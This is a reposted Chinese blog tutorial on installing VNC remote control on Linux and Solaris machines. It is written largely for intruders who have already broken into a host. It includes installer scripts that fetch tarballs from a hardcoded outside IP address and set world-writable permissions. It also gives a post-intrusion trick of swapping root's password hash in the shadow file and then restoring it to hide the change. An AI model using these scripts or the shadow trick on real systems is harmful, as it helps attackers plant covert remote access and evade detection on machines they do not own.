Chinaunix首页 | 论坛 | 博客
  • 博客访问: 19266473
  • 博文数量: 7460
  • 博客积分: 10434
  • 博客等级: 上将
  • 技术积分: 78178
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-02 22:54
文章分类

全部博文(7460)

文章存档

2011年(1)

2009年(669)

2008年(6790)

分类: 网络与安全

2008-05-31 22:39:18

前段时间我们敬爱的榕哥写了远程安装vnc的文章,本来我以为他会接着写linux下的vnc安装,但却没了下文。由于以前我和x-laser研究过unix下的vnc安装,所以,今天就把一点心得写出来,错误之处,还请高手指正。
  
  首先要来介绍一下vnc这个软件。国内对于vnc的研究比较少,只是到最近小榕才推广了一下,可是,对其强大的功能,也只是利用了一小部分。vnc是Virtual Network Computing的简称。的专门负责vnc开发的开发小组开发的。
  
  vnc有点类似win2000的终端服务,相对于其他的远程控制软件,主要体现了五个优点。
  1.vnc远程控制时,客户端的任何异常事故不会对服务端造成影响,就是说,如果你正在用vnc远程控制一台主机,你突然死机了,再用vnc连时,可以继续进行刚才的操作.
  
  2.vnc的控制端很小,而且不需要任何安装,是居家旅行时的必备良药 :)而且vnc有java的控制端,不需要用任何其他工具,用浏览器就可以直接控制,比如ie或netscape
  
  3.vnc实现了真正的跨平台,你可以在unix下控制windows,或者是在unix下控制windows,并不依赖操作平台是vnc最大的特色和优点.在本文中,我们将演示如何用windows来控制linux和solaris.
  
  4.一个桌面可以同时被多个用户使用:)类似win2000终端的管理中的连接功能,交流非常方便,可做教学之用:)
  5.vnc符合GNU风格,开放原代码,这是最大的好处,当然vnc的exploit在packetstorm上也可以找到.
  
  vnc的控制原理也可以用下图方便的表示
  
  
  vnc viewer<-------------------------->Xvnc(vnc server)<--------------------------->applications
  (vnc protocal) (X protocal)
  
  这个控制是基于tcp/ip的,其中vnc server扮演了双重角色.vnc protocal是基于RFB protocal的,有兴趣的可以参照作者主页.这里不再赘述.
  
  说了这么多了,现在就让我们开始动手来安装吧!首先以linux下的安装为例,我们可以用windows来控制linux的x-window. :)
  
  把包传到linux的/tmp目录下(这里以/tmp为例,你也可以更换到其他的合适目录)
  
  用tar命令解压缩,会得到一个vnc_x86_linux_2.0的目录
  cd vnc_x86_linux_2.0进入后,接下来需要做的就是拷贝一些文件
  首先我们
  mkdir -p /usr/local/bin/vnc/classes建立一个目录
  再
  cp classes/* /usr/local/bin/vnc/classes
  接着再
  mv vncpasswd /usr/bin
  mv vncserver /usr/bin
  mv vncviewer /usr/bin
  mv Xvnc /usr/bin
  
  vncpasswd是设置vnc的控制密码,vncserver是安装脚本,vncviewer是主控端,Xvnc就是上面协议里的那个了.这里我们做的主要就是把软件包的classes目录移到/usr/local/bin/vnc目录下面,然后把vncpasswd,vncserver,vncviewer,Xvnc这几个配置的文件放到/usr/bin这个目录,这里最重要的就是vncserver和Xvnc这两个文件。
  
  然后我们需要修改一下xstartup这个脚本.位置在/tmp/.vnc下,我们修改他来使用kde启动,如果有kde的话 :)因为默认是twm启动,用kde比较漂亮 :)
  
  修改如下
  echo "xrdb $HOME/.Xresources" >>xstartup
  这句是让xrdb创建.Xresources文件
  echo "xsetroot -solid grey" >>xstartup
  echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'>>xstartup
  这句是设置屏幕解析度和到文件
  echo "startkde &" >>xstartup
  这句是以kde启动
  
  然后我们再用vncserver启动即可了 :)这样再用vncviewer连,输入密码后就可以看到漂亮的kde桌面了.
  
  X-laser给我们写了一个本地安装vnc的脚本
  
  ------------------------------cut here----------------------------------------------------------
  
  #!/bin/sh
  echo "This vnc install(rdehat *)"
  echo "author:X-Laser"
  echo "这里是幻影旅团()"
  echo " 中国刺客网()"
  lynx -dump /vnc.tgz >/tmp/.vnc.tgz
  if chmod 777 /usr/X11R6/bin/twm
  then
  echo "checke x-server ok"
  else
  lynx -dump 61.153.9.166/bin.tar >/usr/X11R6/
  lynx -dump 61.153.9.166/lib.tar >/usr/X11R6/
  tar -xvf /usr/X11R6/bin.tar
  tar -xvf /usr/X11R6/lib.tar
  fi
  cd /tmp;tar -zxvf .vnc.tgz;
  mkdir .sh
  cd vnc_x86_linux_2.0
  cp /usr/X11R6/bin/xauth /usr/bin; chmod 777 /usr/bin/xauth
  mkdir -p /usr/local/vnc/classes
  mkdir -p $HOME/.vnc
  mkdir twm
  cp classes/* /usr/local/vnc/classes
  mv vncpasswd /usr/bin
  mv vncserver /usr/bin
  mv vncviewer /usr/bin
  mv Xvnc /usr/bin
  echo "请输入选择的启动的界面 "
  echo "twm 界面,简陋型"
  echo "kde 标准界面"
  read vncgui
  if cd $vncgui
  then
  echo "您选择了twm界面"
  else
  "您已经选择了kde标准界面"
  cd $HOME/.vnc
  echo "#!/bin/sh" >xstartup
  echo "" >>startup
  echo "xrdb $HOME/.Xresources" >>xstartup
  echo "xsetroot -solid grey" >>xstartup
  echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &'>>xstartup
  echo "startkde &" >>xstartup
  fi
  echo "请输入密码 长度5或者位以上"
  vncserver
  echo "您的vnc服务端口"
  netstat -an |grep 590
  echo "您的http连接vnc端口"
  netstat -an |grep 580
  echo "安装程序结束"
  
  
  -------------------------------------------cut here------------------------------------------
  
  注意事项,由于vnc安装时与环境变量密切相关,所以请以正常用户安装(建议以root权限安装,这样有时候很多权限不够的问题可以避免)如果是以溢出后的uid=0的权限或者是suid的euid=0的权限来安装,都有可能遇到环境变量的问题.
  
  黑客的小技巧:黑客入侵的后,可以用溢出的uid=0或euid=0的权限通过修改shadow的方法来改变root的密码,然后su到root,这样就不会有环境变量的问题了.具体实现如下
  1.先建立一个用户,再用passwd修改密码
  2.把shadow备份,然后把shadow中root的密码的hash替换成自己刚建立的用户的密码的hash,然后再su到root,进行操作
  3.操作完成,退出root,再把刚才备份的替换回来.
  
  安装好后,会有两个端口,一个是590x,一个是580x.因为安装时端口不是固定的.590x的端口是服务连接端口,而580x绑定了applet小程序,用web连接此端口会自动运行applet,从而达到网页访问效果,就是我前面提到的可以用浏览器来控制一样,最大限度的实现了跨平台。
  
  
  现在我们来讲vnc在solaris下的安装,安装过程与在linux下安装几乎是一模一样的.不同的是sunos需要自己把包传到/tmp目录下,而linux下的安装则由脚本控制lynx自动下载,因为很多sunos都没lynx的缘故。同样在安装过程中需要root身份安装(不仅仅是uid=0哦!!)x-laser也为我们写了个本地安装的脚本
  
  ----------------------------------------cut here---------------------------------------------
  
  #安装时请以root权限安装
  #!/bin/sh
  echo "This vnc install(sunos ALL *)"
  echo "author:X-Laser"
  echo "这里是幻影旅团()"
  echo " 中国刺客网()"
  if chmod 777 /usr/openwin/bin/xauth
  then
  echo "ok vnc -install start"
  tar -xvf sunos.tar
  cd vnc_sun4_sosV_5.5
  mkdir -p /usr/local/vnc/classes
  cp calsses/* /usr/local/vnc/classes
  mv vncserver /usr/bin
  mv vncviewer /usr/bin
  mv Xvnc /usr/bin
  mv vncpasswd /usr/bin
  cp /usr/openwin/bin/* /usr/bin
  cp /usr/openwin/lib/* /usr/bin
  mkdir -p $HOME/.vnc
  echo "#!/bin/sh" >$HOME/.vnc/xstartup
  echo "" >>$HOME/.vnc/xstartup
  echo "xrdb $HOME/.Xresources" >>$HOME/.vnc/xstartup
  echo "xsetroot -solid grey" >>$HOME/.vnc/xstartup
  echo 'xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &' >>$HOME/.vnc/xstartup
  echo "/usr/dt/bin/dtsession & " >>$HOME/.vnc/xstartup
  vncserver
  echo "请输入密码,长度5位或5位以上"
  echo "next vnc start port"
  netstat -a |grep 590
  echo install over
  else
  echo 您的X11R6文件不全,请把其他机器的openwin,cp到/usr/openwin/bin/里
  fi
  
  
  --------------------------------------cut here----------------------------------------------
  
  vnc还可以在各种其他的系统下安装,比如aix,freebsd等,但是安装还在测试中,到时候我们会再出些安装脚本。
  
  说了这么多都还只是安装下面讲控制。控制有两种方式
  1.用浏览器控制。比如说192.168.0.1是被控端,vnc开了两个端口5801和5901。那么我们在浏览器的地址栏里然后就会自动下载applet的控制程序,输入密码之后,就可以看见x-window
阅读(1009) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~